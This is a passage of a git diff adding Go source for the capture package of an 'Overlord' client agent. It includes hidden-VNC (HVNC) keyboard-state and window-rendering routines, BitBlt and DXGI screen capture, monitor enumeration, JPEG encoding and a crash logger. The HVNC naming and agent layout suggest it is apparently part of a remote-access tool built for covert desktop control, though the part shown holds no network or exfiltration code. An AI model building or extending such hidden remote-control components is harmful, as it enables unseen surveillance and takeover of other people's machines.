0x5D: // Win, Win, Apps + return true + case 0x91, 0x90: // Scroll, NumLock + return true + case 0x0D, 0x1B, 0x09, 0x08: // Enter, Escape, Tab, Backspace + return true + case 0x10, 0xA0, 0xA1, 0x11, 0xA2, 0xA3, 0x12, 0xA4, 0xA5, 0x14: + return true + default: + return false + } +} + +func isModifierVK(vk uint16) bool { + switch vk { + case VK_SHIFT, VK_LSHIFT, VK_RSHIFT, VK_CONTROL, VK_LCONTROL, VK_RCONTROL, VK_MENU, VK_LMENU, VK_RMENU, VK_CAPITAL: + return true + default: + return false + } +} + +func updateModifierState(vk uint16, down bool) { + hvncInputMu.Lock() + defer hvncInputMu.Unlock() + switch vk { + case VK_SHIFT, VK_LSHIFT, VK_RSHIFT: + hvncShiftDown = down + case VK_CONTROL, VK_LCONTROL, VK_RCONTROL: + hvncCtrlDown = down + case VK_MENU, VK_LMENU, VK_RMENU: + hvncAltDown = down + case VK_CAPITAL: + if down { + hvncCapsLock = !hvncCapsLock + } + } +} + +func buildKeyboardState() []byte { + state := make([]byte, 256) + hvncInputMu.Lock() + shift := hvncShiftDown + ctrl := hvncCtrlDown + alt := hvncAltDown + caps := hvncCapsLock + hvncInputMu.Unlock() + if shift { + state[VK_SHIFT] = 0x80 + } + if ctrl { + state[VK_CONTROL] = 0x80 + } + if alt { + state[VK_MENU] = 0x80 + } + if caps { + state[VK_CAPITAL] = 0x01 + } + return state +} + +func HVNCMonitorCount() int { + return displayCount() +} + +func hvncResolveCaptureBounds(display int) (image.Rectangle, string) { + mons := monitorList() + if display >= 0 && display < len(mons) { + mon := mons[display] + bounds := captureBounds(mon) + if bounds.Dx() > 0 && bounds.Dy() > 0 { + return bounds, fmt.Sprintf("monitor=%d name=%q", display, mon.name) + } + } + if desktopBounds, ok := hvncDesktopBounds(); ok { + return desktopBounds, "desktop" + } + vx := int(getSystemMetric(SM_XVIRTUALSCREEN)) + vy := int(getSystemMetric(SM_YVIRTUALSCREEN)) + vw := int(getSystemMetric(SM_CXVIRTUALSCREEN)) + vh := int(getSystemMetric(SM_CYVIRTUALSCREEN)) + if vw > 0 && vh > 0 { + return image.Rect(vx, vy, vx+vw, vy+vh), "virtual" + } + return image.Rectangle{}, "unknown" +} + +func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target []byte, targetStride int) int { + hwnd := getTopWindow(0) + if hwnd == 0 { + return 0 + } + hwnd = getWindow(hwnd, GW_HWNDLAST) + if hwnd == 0 { + return 0 + } + + drawn := 0 + for hwnd != 0 { + if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) { + drawn++ + } + hwnd = getWindow(hwnd, GW_HWNDPREV) + } + return drawn +} + +func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { + if !isWindowVisible(hwnd) { + return false + } + var r rect + ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r))) + if ok == 0 { + return false + } + winLeft := int(r.left) + winTop := int(r.top) + winRight := int(r.right) + winBottom := int(r.bottom) + if winRight <= winLeft || winBottom <= winTop { + return false + } + if winRight <= bounds.Min.X || winLeft >= bounds.Max.X || winBottom <= bounds.Min.Y || winTop >= bounds.Max.Y { + return false + } + + winW := winRight - winLeft + winH := winBottom - winTop + if winW <= 0 || winH <= 0 { + return false + } + + hdcMem := createCompatibleDC(hdcScreen) + if hdcMem == 0 { + return false + } + defer deleteDC(hdcMem) + + bmi := bitmapInfo{ + bmiHeader: bitmapInfoHeader{ + biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + biWidth: int32(winW), + biHeight: -int32(winH), + biPlanes: 1, + biBitCount: 32, + biCompression: BI_RGB, + }, + } + var bits unsafe.Pointer + hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits) + if hbmp == 0 || bits == nil { + return false + } + selectObject(hdcMem, hbmp) + defer deleteObject(hbmp) + + if !printWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT) { + return false + } + + buf := unsafe.Slice((*byte)(bits), winW*winH*4) + winStride := winW * 4 + + interLeft := maxInt(winLeft, bounds.Min.X) + interTop := maxInt(winTop, bounds.Min.Y) + interRight := minInt(winRight, bounds.Max.X) + interBottom := minInt(winBottom, bounds.Max.Y) + if interRight <= interLeft || interBottom <= interTop { + return false + } + + srcX := interLeft - winLeft + srcY := interTop - winTop + dstX := interLeft - bounds.Min.X + dstY := interTop - bounds.Min.Y + copyW := interRight - interLeft + copyH := interBottom - interTop + + for y := 0; y < copyH; y++ { + srcStart := (srcY+y)*winStride + srcX*4 + dstStart := (dstY+y)*targetStride + dstX*4 + copy(target[dstStart:dstStart+copyW*4], buf[srcStart:srcStart+copyW*4]) + } + + return true +} + +func maxInt(a, b int) int { + if a > b { + return a + } + return b +} + +func minInt(a, b int) int { + if a < b { + return a + } + return b +} diff --git a/Overlord-Client/cmd/agent/capture/jpeg_std.go b/Overlord-Client/cmd/agent/capture/jpeg_std.go new file mode 100644 index 0000000..cd3115b --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/jpeg_std.go @@ -0,0 +1,16 @@ +package capture + +import ( + "bytes" + "image" + "image/jpeg" +) + +func encodeJPEG(img image.Image, quality int) ([]byte, error) { + buf := bytes.Buffer{} + err := jpeg.Encode(&buf, img, &jpeg.Options{Quality: quality}) + if err != nil { + return nil, err + } + return buf.Bytes(), nil +} diff --git a/Overlord-Client/cmd/agent/capture/jpeg_turbo.go b/Overlord-Client/cmd/agent/capture/jpeg_turbo.go new file mode 100644 index 0000000..e9aeb79 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/jpeg_turbo.go @@ -0,0 +1,23 @@ +//go:build turbojpeg + +package capture + +import ( + "bytes" + "image" + + ljpeg "github.com/pixiv/go-libjpeg/jpeg" +) + +func encodeJPEG(img image.Image, quality int) ([]byte, error) { + opts := &ljpeg.EncoderOptions{ + Quality: quality, + OptimizeCoding: true, + DCTMethod: ljpeg.DCTISlow, + } + buf := bytes.Buffer{} + if err := ljpeg.Encode(&buf, img, opts); err != nil { + return nil, err + } + return buf.Bytes(), nil +} diff --git a/Overlord-Client/cmd/agent/capture/monitors_public.go b/Overlord-Client/cmd/agent/capture/monitors_public.go new file mode 100644 index 0000000..f3d1b21 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/monitors_public.go @@ -0,0 +1,16 @@ +package capture + +import "image" + +type MonitorInfo struct { + Width int `msgpack:"width"` + Height int `msgpack:"height"` +} + +func DisplayBounds(idx int) image.Rectangle { + return displayBounds(idx) +} + +func DisplayScale(idx int) float64 { + return displayScale(idx) +} diff --git a/Overlord-Client/cmd/agent/capture/monitors_reset_stub.go b/Overlord-Client/cmd/agent/capture/monitors_reset_stub.go new file mode 100644 index 0000000..f460b75 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/monitors_reset_stub.go @@ -0,0 +1,5 @@ +//go:build !windows + +package capture + +func ResetMonitorCache() {} diff --git a/Overlord-Client/cmd/agent/capture/monitors_stub.go b/Overlord-Client/cmd/agent/capture/monitors_stub.go new file mode 100644 index 0000000..04ffb89 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/monitors_stub.go @@ -0,0 +1,17 @@ +//go:build !windows + +package capture + +import "image" + +func displayBounds(idx int) image.Rectangle { + return image.Rectangle{} +} + +func displayScale(idx int) float64 { + return 1.0 +} + +func MonitorInfos() []MonitorInfo { + return nil +} diff --git a/Overlord-Client/cmd/agent/capture/monitors_windows.go b/Overlord-Client/cmd/agent/capture/monitors_windows.go new file mode 100644 index 0000000..978a5c5 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/monitors_windows.go @@ -0,0 +1,278 @@ +//go:build windows + +package capture + +import ( + "image" + "log" + "sort" + "strconv" + "strings" + "sync" + "sync/atomic" + "syscall" + "time" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + procEnumDisplayMonitors = user32.NewProc("EnumDisplayMonitors") + procGetMonitorInfoW = user32.NewProc("GetMonitorInfoW") + procEnumDisplaySettingsW = user32.NewProc("EnumDisplaySettingsW") +) + +type rect struct { + left int32 + top int32 + right int32 + bottom int32 +} + +type monitorInfoEx struct { + cbSize uint32 + rcMonitor rect + rcWork rect + dwFlags uint32 + szDevice [32]uint16 +} + +type devMode struct { + dmDeviceName [32]uint16 + dmSpecVersion uint16 + dmDriverVersion uint16 + dmSize uint16 + dmDriverExtra uint16 + dmFields uint32 + dmPositionX int32 + dmPositionY int32 + dmDisplayOrientation uint32 + dmDisplayFixedOutput uint32 + dmColor int16 + dmDuplex int16 + dmYResolution int16 + dmTTOption int16 + dmCollate int16 + dmFormName [32]uint16 + dmLogPixels uint16 + dmBitsPerPel uint32 + dmPelsWidth uint32 + dmPelsHeight uint32 + dmDisplayFlags uint32 + dmDisplayFrequency uint32 + dmICMMethod uint32 + dmICMIntent uint32 + dmMediaType uint32 + dmDitherType uint32 + dmReserved1 uint32 + dmReserved2 uint32 + dmPanningWidth uint32 + dmPanningHeight uint32 +} + +const ( + monitorInfofPrimary = 1 + enumCurrentSettings = 0xFFFFFFFF +) + +type monitorDesc struct { + name string + rect image.Rectangle + workRect image.Rectangle + primary bool + physW int + physH int + scale float64 + posX int + posY int +} + +var ( + monitorsCache atomic.Value + monitorsMu sync.Mutex + monitorsTs int64 +) + +func displayCount() int { + setDPIAware() + return len(monitorList()) +} + +func displayBounds(idx int) image.Rectangle { + mons := monitorList() + if idx >= 0 && idx < len(mons) { + return mons[idx].rect + } + + if len(mons) > 0 { + return mons[0].rect + } + + w := int(getSystemMetric(SM_CXSCREEN)) + h := int(getSystemMetric(SM_CYSCREEN)) + return image.Rect(0, 0, w, h) +} + +func displayScale(idx int) float64 { + mons := monitorList() + if idx >= 0 && idx < len(mons) { + if mons[idx].scale > 0 { + return mons[idx].scale + } + } + return 1.0 +} + +func monitorList() []monitorDesc { + setDPIAware() + if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second { + return v + } + + monitorsMu.Lock() + defer monitorsMu.Unlock() + + if v, ok := monitorsCache.Load().([]monitorDesc); ok && len(v) > 0 && time.Since(time.Unix(0, monitorsTs)) < 30*time.Second { + return v + } + + mons := enumerateMonitors() + monitorsCache.Store(mons) + monitorsTs = time.Now().UnixNano() + logMonitors(mons) + return mons +} + +func ResetMonitorCache() { + monitorsMu.Lock() + defer monitorsMu.Unlock() + monitorsCache.Store([]monitorDesc{}) + monitorsTs = 0 +} + +func enumerateMonitors() []monitorDesc { + var result []monitorDesc + + cb := syscall.NewCallback(func(hMonitor, hdc, lprcMonitor, lparam uintptr) uintptr { + var mi monitorInfoEx + mi.cbSize = uint32(unsafe.Sizeof(mi)) + if ret, _, _ := procGetMonitorInfoW.Call(hMonitor, uintptr(unsafe.Pointer(&mi))); ret == 0 { + return 1 + } + + name := windows.UTF16ToString(mi.szDevice[:]) + primary := mi.dwFlags&monitorInfofPrimary != 0 + + var dm devMode + dm.dmSize = uint16(unsafe.Sizeof(dm)) + var physW, physH int + var scale float64 = 1.0 + var posX, posY int + if ret, _, _ := procEnumDisplaySettingsW.Call(uintptr(unsafe.Pointer(&mi.szDevice[0])), enumCurrentSettings, uintptr(unsafe.Pointer(&dm))); ret != 0 { + physW = int(dm.dmPelsWidth) + physH = int(dm.dmPelsHeight) + posX = int(dm.dmPositionX) + posY = int(dm.dmPositionY) + vw := int(mi.rcMonitor.right - mi.rcMonitor.left) + if vw > 0 { + scale = float64(dm.dmPelsWidth) / float64(vw) + } + } + + r := image.Rect(int(mi.rcMonitor.left), int(mi.rcMonitor.top), int(mi.rcMonitor.right), int(mi.rcMonitor.bottom)) + w := image.Rect(int(mi.rcWork.left), int(mi.rcWork.top), int(mi.rcWork.right), int(mi.rcWork.bottom)) + + result = append(result, monitorDesc{ + name: name, + rect: r, + workRect: w, + primary: primary, + physW: physW, + physH: physH, + scale: scale, + posX: posX, + posY: posY, + }) + return 1 + }) + + if ret, _, _ := procEnumDisplayMonitors.Call(0, 0, cb, 0); ret == 0 { + + w := int(getSystemMetric(SM_CXSCREEN)) + h := int(getSystemMetric(SM_CYSCREEN)) + return []monitorDesc{{ + name: "Primary", + rect: image.Rect(0, 0, w, h), + primary: true, + physW: w, + physH: h, + scale: 1.0, + }} + } + + sort.Slice(result, func(i, j int) bool { + if result[i].primary != result[j].primary { + return result[i].primary + } + oi := deviceOrdinal(result[i].name) + oj := deviceOrdinal(result[j].name) + if oi >= 0 && oj >= 0 && oi != oj { + return oi < oj + } + if result[i].rect.Min.Y == result[j].rect.Min.Y { + return result[i].rect.Min.X < result[j].rect.Min.X + } + return result[i].rect.Min.Y < result[j].rect.Min.Y + }) + + return result +} + +func deviceOrdinal(name string) int { + name = strings.TrimSpace(name) + end := len(name) + start := end + for start > 0 { + c := name[start-1] + if c < '0' || c > '9' { + break + } + start-- + } + if start == end { + return -1 + } + n, err := strconv.Atoi(name[start:end]) + if err != nil { + return -1 + } + return n +} + +func logMonitors(mons []monitorDesc) { + log.Printf("capture: detected %d monitor(s)", len(mons)) + for i, m := range mons { + log.Printf("capture: monitor %d name=%q primary=%v virtual=%v phys=%dx%d scale=%.2f pos=(%d,%d)", i, m.name, m.primary, m.rect, m.physW, m.physH, m.scale, m.posX, m.posY) + } +} + +func MonitorInfos() []MonitorInfo { + mons := monitorList() + if len(mons) == 0 { + return nil + } + infos := make([]MonitorInfo, 0, len(mons)) + for _, m := range mons { + w := m.rect.Dx() + h := m.rect.Dy() + if w < 0 { + w = 0 + } + if h < 0 { + h = 0 + } + infos = append(infos, MonitorInfo{Width: w, Height: h}) + } + return infos +} diff --git a/Overlord-Client/cmd/agent/capture/panic_guard.go b/Overlord-Client/cmd/agent/capture/panic_guard.go new file mode 100644 index 0000000..5d3f50b --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/panic_guard.go @@ -0,0 +1,56 @@ +package capture + +import ( + "context" + "fmt" + "log" + "os" + "path/filepath" + "runtime" + "runtime/debug" + "time" +) + +const crashLogFileName = "crashlogC.log" + +func goSafe(label string, cancel context.CancelFunc, fn func()) { + go func() { + defer recoverAndLog(label, cancel) + fn() + }() +} + +func recoverAndLog(label string, cancel context.CancelFunc) { + if r := recover(); r != nil { + reason := fmt.Sprintf("%s panic: %v", label, r) + stack := debug.Stack() + path := writeCrashLog(reason, stack) + log.Printf("[panic] %s (see %s)", reason, path) + if cancel != nil { + cancel() + } + } +} + +func writeCrashLog(reason string, stack []byte) string { + dir := os.TempDir() + _ = os.MkdirAll(dir, 0700) + path := filepath.Join(dir, crashLogFileName) + + file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600) + if err != nil { + log.Printf("[panic] failed to open crash log %s: %v", path, err) + return path + } + defer file.Close() + + timestamp := time.Now().UTC().Format(time.RFC3339) + _, _ = fmt.Fprintf(file, "\n=== %s ===\n", timestamp) + _, _ = fmt.Fprintf(file, "GOOS=%s GOARCH=%s\n", runtime.GOOS, runtime.GOARCH) + _, _ = fmt.Fprintf(file, "Reason: %s\n", reason) + if len(stack) > 0 { + _, _ = fmt.Fprintf(file, "Stack:\n%s\n", string(stack)) + } + + return path +} diff --git a/Overlord-Client/cmd/agent/capture/reset_capture_stub.go b/Overlord-Client/cmd/agent/capture/reset_capture_stub.go new file mode 100644 index 0000000..261d7af --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/reset_capture_stub.go @@ -0,0 +1,5 @@ +//go:build !windows + +package capture + +func ResetDesktopCapture() {} diff --git a/Overlord-Client/cmd/agent/capture/reset_capture_windows.go b/Overlord-Client/cmd/agent/capture/reset_capture_windows.go new file mode 100644 index 0000000..ac21aa3 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/reset_capture_windows.go @@ -0,0 +1,11 @@ +//go:build windows + +package capture + +func ResetDesktopCapture() { + // Prevent freeing the DIB section while a BitBlt capture is in progress. + captureMu.Lock() + defer captureMu.Unlock() + state.reset() + dxgiState.reset() +} diff --git a/Overlord-Client/cmd/agent/capture/roi_stub.go b/Overlord-Client/cmd/agent/capture/roi_stub.go new file mode 100644 index 0000000..f2d6ee6 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/roi_stub.go @@ -0,0 +1,13 @@ +//go:build !windows + +package capture + +import "image" + +func cursorROI() (image.Rectangle, bool) { + return image.Rectangle{}, false +} + +func focusWindowROI() (image.Rectangle, bool) { + return image.Rectangle{}, false +} diff --git a/Overlord-Client/cmd/agent/capture/roi_windows.go b/Overlord-Client/cmd/agent/capture/roi_windows.go new file mode 100644 index 0000000..2be40e5 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/roi_windows.go @@ -0,0 +1,51 @@ +//go:build windows + +package capture + +import ( + "image" + "unsafe" +) + +var ( + procGetForegroundWindowROI = user32.NewProc("GetForegroundWindow") + procGetWindowRectROI = user32.NewProc("GetWindowRect") +) + +type winRect struct { + left int32 + top int32 + right int32 + bottom int32 +} + +func cursorROI() (image.Rectangle, bool) { + x, y, visible := getCursorPosition() + if !visible { + return image.Rectangle{}, false + } + const cursorBox = 48 + half := cursorBox / 2 + r := image.Rect(int(x)-half, int(y)-half, int(x)+half, int(y)+half) + if r.Dx() <= 0 || r.Dy() <= 0 { + return image.Rectangle{}, false + } + return r, true +} + +func focusWindowROI() (image.Rectangle, bool) { + hwnd, _, _ := procGetForegroundWindowROI.Call() + if hwnd == 0 { + return image.Rectangle{}, false + } + var wr winRect + ret, _, _ := procGetWindowRectROI.Call(hwnd, uintptr(unsafe.Pointer(&wr))) + if ret == 0 { + return image.Rectangle{}, false + } + r := image.Rect(int(wr.left), int(wr.top), int(wr.right), int(wr.bottom)) + if r.Dx() <= 0 || r.Dy() <= 0 { + return image.Rectangle{}, false + } + return r, true +} diff --git a/Overlord-Client/cmd/agent/capture/win_bitblt.go b/Overlord-Client/cmd/agent/capture/win_bitblt.go new file mode 100644 index 0000000..e57cbe1 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/win_bitblt.go @@ -0,0 +1,477 @@ +//go:build windows + +package capture + +import ( + "image" + "log" + "os" + "strconv" + "sync" + "sync/atomic" + "syscall" + "time" + "unsafe" +) + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + gdi32 = syscall.NewLazyDLL("gdi32.dll") + shcore = syscall.NewLazyDLL("shcore.dll") + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procGetDC = user32.NewProc("GetDC") + procReleaseDC = user32.NewProc("ReleaseDC") + procGetSystemMetrics = user32.NewProc("GetSystemMetrics") + procCreateCompatibleDC = gdi32.NewProc("CreateCompatibleDC") + procCreateDCW = gdi32.NewProc("CreateDCW") + procDeleteDC = gdi32.NewProc("DeleteDC") + procCreateCompatibleBitmap = gdi32.NewProc("CreateCompatibleBitmap") + procCreateDIBSection = gdi32.NewProc("CreateDIBSection") + procDeleteObject = gdi32.NewProc("DeleteObject") + procSelectObject = gdi32.NewProc("SelectObject") + procBitBlt = gdi32.NewProc("BitBlt") + procSetProcessDpiAwareness = shcore.NewProc("SetProcessDpiAwareness") +) + +const ( + SM_CXSCREEN = 0 + SM_CYSCREEN = 1 + SM_XVIRTUALSCREEN = 76 + SM_YVIRTUALSCREEN = 77 + SM_CXVIRTUALSCREEN = 78 + SM_CYVIRTUALSCREEN = 79 + SRCCOPY = 0x00CC0020 + CAPTUREBLT = 0x40000000 + BI_RGB = 0 + DIB_RGB_COLORS = 0 + PROCESS_PER_MONITOR_DPI_AWARE = 2 +) + +type bitmapInfoHeader struct { + biSize uint32 + biWidth int32 + biHeight int32 + biPlanes uint16 + biBitCount uint16 + biCompression uint32 + biSizeImage uint32 + biXPelsPerMeter int32 + biYPelsPerMeter int32 + biClrUsed uint32 + biClrImportant uint32 +} + +type bitmapInfo struct { + bmiHeader bitmapInfoHeader + redMask uint32 + greenMask uint32 + blueMask uint32 + alphaMask uint32 +} + +func getSystemMetric(i int32) int32 { + r, _, _ := procGetSystemMetrics.Call(uintptr(i)) + return int32(r) +} + +func getDC(hwnd uintptr) uintptr { + dc, _, _ := procGetDC.Call(hwnd) + return dc +} + +func releaseDC(hwnd, hdc uintptr) { + _, _, _ = procReleaseDC.Call(hwnd, hdc) +} + +func createCompatibleDC(hdc uintptr) uintptr { + r, _, _ := procCreateCompatibleDC.Call(hdc) + return r +} + +func createDisplayDC() uintptr { + displayName := syscall.StringToUTF16Ptr("DISPLAY") + r, _, _ := procCreateDCW.Call(uintptr(unsafe.Pointer(displayName)), 0, 0, 0) + return r +} + +func deleteDC(hdc uintptr) { + _, _, _ = procDeleteDC.Call(hdc) +} + +func createCompatibleBitmap(hdc uintptr, w, h int32) uintptr { + r, _, _ := procCreateCompatibleBitmap.Call(hdc, uintptr(w), uintptr(h)) + return r +} + +func createDIBSection(hdc uintptr, bmi *bitmapInfo, usage uint32, bits *unsafe.Pointer) uintptr { + r, _, _ := procCreateDIBSection.Call(hdc, uintptr(unsafe.Pointer(bmi)), uintptr(usage), uintptr(unsafe.Pointer(bits)), 0, 0) + return r +} + +func deleteObject(obj uintptr) { + _, _, _ = procDeleteObject.Call(obj) +} + +func selectObject(hdc, hgdiobj uintptr) uintptr { + r, _, _ := procSelectObject.Call(hdc, hgdiobj) + return r +} + +func bitBlt(hdcDest uintptr, x, y, cx, cy int32, hdcSrc uintptr, x1, y1 int32, rop uint32) bool { + r, _, _ := procBitBlt.Call(hdcDest, uintptr(x), uintptr(y), uintptr(cx), uintptr(cy), hdcSrc, uintptr(x1), uintptr(y1), uintptr(rop)) + return r != 0 +} + +func bitBltWithFallback(hdcMem, hdcScreen uintptr, bounds image.Rectangle, w, h int) bool { + if bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY|CAPTUREBLT) { + return true + } + return bitBlt(hdcMem, 0, 0, int32(w), int32(h), hdcScreen, int32(bounds.Min.X), int32(bounds.Min.Y), SRCCOPY) +} + +var dpiAwareOnce sync.Once + +func setDPIAware() { + dpiAwareOnce.Do(func() { + + if procSetProcessDpiAwareness.Find() == nil { + procSetProcessDpiAwareness.Call(uintptr(PROCESS_PER_MONITOR_DPI_AWARE)) + } + }) +} + +var ( + captureCount atomic.Int64 + bitbltNs atomic.Int64 + convertNs atomic.Int64 + lastCaptureLogNs atomic.Int64 + scaleOnce sync.Once + cachedScale float64 + state capState + captureMu sync.Mutex +) + +var captureDisplayFn = func(display int) (*image.RGBA, error) { + if useDesktopDuplication() { + img, err := captureDisplayDXGI(display) + if err == nil && img != nil { + return img, nil + } + if err != nil { + log.Printf("capture: dxgi duplication failed: %v (falling back to bitblt)", err) + } + } + return captureDisplayBitBlt(display) +} + +func captureDisplayBitBlt(display int) (*image.RGBA, error) { + + captureMu.Lock() + defer captureMu.Unlock() + + setDPIAware() + + maxDisplays := displayCount() + if display < 0 || display >= maxDisplays { + display = 0 + } + + mons := monitorList() + if display >= len(mons) { + display = 0 + } + mon := mons[display] + + bounds := resolveBounds(mon) + srcW := bounds.Dx() + srcH := bounds.Dy() + if srcW <= 0 || srcH <= 0 { + ResetMonitorCache() + mons = monitorList() + if display >= len(mons) { + display = 0 + } + if display < len(mons) { + mon = mons[display] + bounds = resolveBounds(mon) + srcW = bounds.Dx() + srcH = bounds.Dy() + } + if srcW <= 0 || srcH <= 0 { + return nil, syscall.EINVAL + } + } + + userScale := captureScale() + dstW := int(float64(srcW) * userScale) + dstH := int(float64(srcH) * userScale) + if dstW <= 0 || dstH <= 0 { + dstW = srcW + dstH = srcH + } + + capW := srcW + capH := srcH + + hdcScreen := createDisplayDC() + fromCreateDC := hdcScreen != 0 + if hdcScreen == 0 { + hdcScreen = getDC(0) + } + if hdcScreen == 0 { + return nil, syscall.EINVAL + } + closeDC := func() { + if hdcScreen == 0 { + return + } + if fromCreateDC { + deleteDC(hdcScreen) + } else { + releaseDC(0, hdcScreen) + } + hdcScreen = 0 + } + defer closeDC() + + if capW <= 0 || capH <= 0 { + return nil, syscall.EINVAL + } + + captureWithDC := func() (*image.RGBA, time.Duration, time.Duration, time.Duration, error) { + hdcMem, _, buf, stride, err := state.ensure(hdcScreen, capW, capH) + if err != nil { + return nil, 0, 0, 0, err + } + + bitStart := time.Now() + if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) { + state.reset() + hdcMem, _, buf, stride, err = state.ensure(hdcScreen, capW, capH) + if err != nil { + return nil, 0, 0, 0, err + } + if !bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH) { + return nil, 0, 0, 0, syscall.EINVAL + } + } + bitDur := time.Since(bitStart) + cursorDrawn := DrawCursorOnDC(hdcMem, bounds) + + if len(buf) == 0 { + return nil, 0, 0, 0, syscall.EINVAL + } + + dibDur := time.Duration(0) + + convStart := time.Now() + swapRB(buf) + img := &image.RGBA{Pix: buf, Stride: stride, Rect: image.Rect(0, 0, capW, capH)} + convDur := time.Since(convStart) + + if !cursorDrawn { + DrawCursorOnImage(img, bounds) + } + if dstW != capW || dstH != capH { + img = resizeNearest(img, dstW, dstH) + } else { + // Detach from the reusable DIB buffer to avoid concurrent mutation during encode. + stable := image.NewRGBA(img.Rect) + copy(stable.Pix, img.Pix) + img = stable + } + + return img, bitDur, dibDur, convDur, nil + } + + img, bitDur, dibDur, convDur, err := captureWithDC() + if err != nil && fromCreateDC { + closeDC() + hdcScreen = getDC(0) + fromCreateDC = false + if hdcScreen == 0 { + return nil, err + } + img, bitDur, dibDur, convDur, err = captureWithDC() + } + if err != nil { + return nil, err + } + + logCaptureTimings(bitDur, dibDur, convDur) + return img, nil +} + +func clampToVirtual(bounds image.Rectangle) image.Rectangle { + vx := int(getSystemMetric(SM_XVIRTUALSCREEN)) + vy := int(getSystemMetric(SM_YVIRTUALSCREEN)) + vw := int(getSystemMetric(SM_CXVIRTUALSCREEN)) + vh := int(getSystemMetric(SM_CYVIRTUALSCREEN)) + if vw <= 0 || vh <= 0 { + return bounds + } + virtual := image.Rect(vx, vy, vx+vw, vy+vh) + inter := bounds.Intersect(virtual) + if inter.Empty() { + return bounds + } + return inter +} + +func resolveBounds(mon monitorDesc) image.Rectangle { + virtualW := int(getSystemMetric(SM_CXVIRTUALSCREEN)) + virtualH := int(getSystemMetric(SM_CYVIRTUALSCREEN)) + if virtualW > 0 && virtualH > 0 { + return clampToVirtual(mon.rect) + } + return captureBounds(mon) +} + +func captureBounds(mon monitorDesc) image.Rectangle { + bounds := mon.rect + if mon.physW > 0 && mon.physH > 0 { + phys := image.Rect(mon.posX, mon.posY, mon.posX+mon.physW, mon.posY+mon.physH) + if phys.Dx() > 0 && phys.Dy() > 0 { + if mon.scale != 1.0 || phys.Dx() != bounds.Dx() || phys.Dy() != bounds.Dy() { + bounds = phys + } + } + } + return bounds +} + +func swapRB(pix []byte) { + for i := 0; i+3 < len(pix); i += 4 { + pix[i], pix[i+2] = pix[i+2], pix[i] + } +} + +func logCaptureTimings(bitDur, dibDur, convDur time.Duration) { + captureCount.Add(1) + bitbltNs.Add(bitDur.Nanoseconds()) + convertNs.Add(convDur.Nanoseconds()) + + nowNs := time.Now().UnixNano() + last := lastCaptureLogNs.Load() + if last != 0 && time.Duration(nowNs-last) < 5*time.Second { + return + } + if !lastCaptureLogNs.CompareAndSwap(last, nowNs) { + return + } + frames := captureCount.Swap(0) + if frames == 0 { + return + } + avg := func(totalNs atomic.Int64) float64 { + return float64(totalNs.Swap(0)) / 1e6 / float64(frames) + } + bitAvg := avg(bitbltNs) + convAvg := avg(convertNs) + log.Printf("capture: win bitblt avg bitblt=%.2fms convert=%.2fms frames=%d", bitAvg, convAvg, frames) +} + +func resizeNearest(src *image.RGBA, w, h int) *image.RGBA { + dst := image.NewRGBA(image.Rect(0, 0, w, h)) + srcW := src.Bounds().Dx() + srcH := src.Bounds().Dy() + for y := 0; y < h; y++ { + sy := y * srcH / h + sp := sy * src.Stride + dp := y * dst.Stride + for x := 0; x < w; x++ { + sx := x * srcW / w + s := sp + sx*4 + d := dp + x*4 + dst.Pix[d+0] = src.Pix[s+0] + dst.Pix[d+1] = src.Pix[s+1] + dst.Pix[d+2] = src.Pix[s+2] + dst.Pix[d+3] = src.Pix[s+3] + } + } + return dst +} + +type capState struct { + mu sync.Mutex + hdcMem uintptr + hbmp uintptr + buf []byte + stride int + w int + h int + bits unsafe.Pointer +} + +func (s *capState) ensure(hdcScreen uintptr, w, h int) (uintptr, uintptr, []byte, int, error) { + s.mu.Lock() + defer s.mu.Unlock() + + if s.hdcMem == 0 { + s.hdcMem = createCompatibleDC(hdcScreen) + if s.hdcMem == 0 { + return 0, 0, nil, 0, syscall.EINVAL + } + } + + if s.w != w || s.h != h || s.hbmp == 0 { + bmi := bitmapInfo{ + bmiHeader: bitmapInfoHeader{ + biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), + biWidth: int32(w), + biHeight: -int32(h), + biPlanes: 1, + biBitCount: 32, + biCompression: BI_RGB, + }, + } + var bits unsafe.Pointer + newBmp := createDIBSection(s.hdcMem, &bmi, DIB_RGB_COLORS, &bits) + if newBmp == 0 || bits == nil { + return 0, 0, nil, 0, syscall.EINVAL + } + selectObject(s.hdcMem, newBmp) + if s.hbmp != 0 { + deleteObject(s.hbmp) + } + s.hbmp = newBmp + s.w = w + s.h = h + s.stride = w * 4 + s.bits = bits + s.buf = unsafe.Slice((*byte)(bits), s.stride*h) + } + + return s.hdcMem, s.hbmp, s.buf, s.stride, nil +} + +func (s *capState) reset() { + s.mu.Lock() + defer s.mu.Unlock() + if s.hbmp != 0 { + deleteObject(s.hbmp) + s.hbmp = 0 + } + if s.hdcMem != 0 { + deleteDC(s.hdcMem) + s.hdcMem = 0 + } + s.buf = nil + 